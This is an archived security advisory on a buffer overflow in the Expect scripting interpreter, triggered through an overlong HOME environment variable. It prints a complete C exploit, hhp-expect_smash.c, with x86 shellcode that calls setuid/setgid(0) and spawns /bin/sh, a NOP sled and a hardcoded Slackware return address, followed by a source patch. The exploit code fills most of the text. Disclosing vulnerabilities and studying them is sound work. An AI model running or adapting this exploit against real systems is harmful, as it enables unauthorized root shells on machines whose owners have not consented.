COMMAND
expect
SYSTEMS AFFECTED
5.31.8 and 5.28.1, maybe others
PROBLEM
Following is based on a hhp adv-17 Sec-Advisory by Ben Lull and
Cody Tubbs. Expect is a program to control interactive
applications. These applications interactively prompt and expect
a user to enter keystrokes in response. By using Expect, you can
write simple scripts to automate these interactions.
It is possible to cause Expect to segfault due to impropper bounds
checking. EIP can then be overwritten and the flow of execution
changed. It is possible to exploit any script that uses the
Expect program (Scripting lang).
If an Execpt script is suid/sgid it most likely is not possible
to gain the set privleges due to the execution of Expect before
any permission changes take effect.
If an application is suid/sgid and sets the effective UID or GID
without cleansing the environment then calls upon Expect or via
an Expect script, it is possible to exploit the Expect scripting
interpreter.
Exploit:
/* hhp-expect_smash.c (12/11/00)
*
* expect (/usr/bin/expect) buffer overflow.
* Tested 5.31.8 and 5.28.1, slackware 7.x (Maybe others).
*
* By: isox
* Site: www.hhp-programming.net
* Advisory: www.hhp-programming.net/ouradvisories/hhp-expect_adv%2317.txt
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90
#define OFFSET 0
#define BUFLEN 416
#define RET 0xbffff580 /* Slackware 7.1 */
#define EXPECT "/usr/bin/expect"
char code[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31"
"\xdb\xb0\x2e\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff/bin/sh\x69";
void usage(char *arg) {
fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
fprintf(stderr, "Examples:\n");
fprintf(stderr, "\t%s 347 up -=- Default EIP increased by 347 bytes\n", arg);
fprintf(stderr, "\t%s 347 down -=- Default EIP decreased by 347 bytes\n", arg);
fprintf(stderr, "\t%s 429 up 0x%lx -=- EIP set to 0x%lx and increased by 429 bytes\n", arg, RET, RET + 429);
fprintf(stderr, "\t%s 429 down 0x%lx -=- EIP set to 0x%lx and decreased by 429 bytes\n\n", arg, RET, RET - 429);
exit(1);
}
int main(int argc, char *argv[]) {
char *buf, *p;
long *addressp, address;
int offset=OFFSET;
int i;
if((argc < 3) || (argc > 4))
usage(argv[0]);
if(argc == 3) {
if(!strcmp(argv[2], "up")) {
address = RET + atoi(argv[1]);
printf("Increasing offset by: %d\n", atoi(argv[1]));
printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
}
if(!strcmp(argv[2], "down")) {
address = RET - atoi(argv[1]);
printf("Decreasing offset by: %d\n", atoi(argv[1]));
printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
}
}
if(argc >= 4) {
if(!strcmp(argv[2], "up")) {
address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
printf("Increasing offset by: %d\n", atoi(argv[1]));
printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
}
if(!strcmp(argv[2], "down")) {
address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
printf("Decreasing offset by: %d\n", atoi(argv[1]));
printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
}
}
if (!(buf = (char *)malloc(BUFLEN))) {
printf("Can't allocate memory.\n");
exit(-1);
}
p = buf;
addressp = (long *) p;
for (i = 0; i < BUFLEN; i+=4) {
*(addressp++) = address;
}
for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
buf[i] = NOP;
}
p = buf + (BUFLEN - strlen(code) - 4);
for (i = 0; i < strlen(code); i++)
*(p++) = code[i];
buf[BUFLEN] = '\0';
setenv("HOME", buf, 1);
system(EXPECT);
}
SOLUTION
Apply this patch made and tested on version 5.31.8. To apply the
patch, take this snippet out and name it hhp-expect.patch in the
expect-5.31 directory. Then type... patch -p1 < hhp-expect.patch
and finish with a 'make' and a 'make install'
--- old/exp_main_sub.c Sun Dec 17 04:01:50 2000
+++ new/exp_main_sub.c Sun Dec 17 04:02:46 2000
@@ -761,14 +761,14 @@
}
}
if (my_rc) {
- char file[200];
+ char file[256];
char *home;
int fd;
char *getenv();
if ((NULL != (home = getenv("DOTDIR"))) ||
(NULL != (home = getenv("HOME")))) {
- sprintf(file,"%s/.expect.rc",home);
+ snprintf(file, 256-1, "%s/.expect.rc", home); // Temporary fix.
if (-1 != (fd = open(file,0))) {
if (TCL_ERROR == (rc = Tcl_EvalFile(interp,file))) {
expErrorLog("error executing file: %s\r\n",file);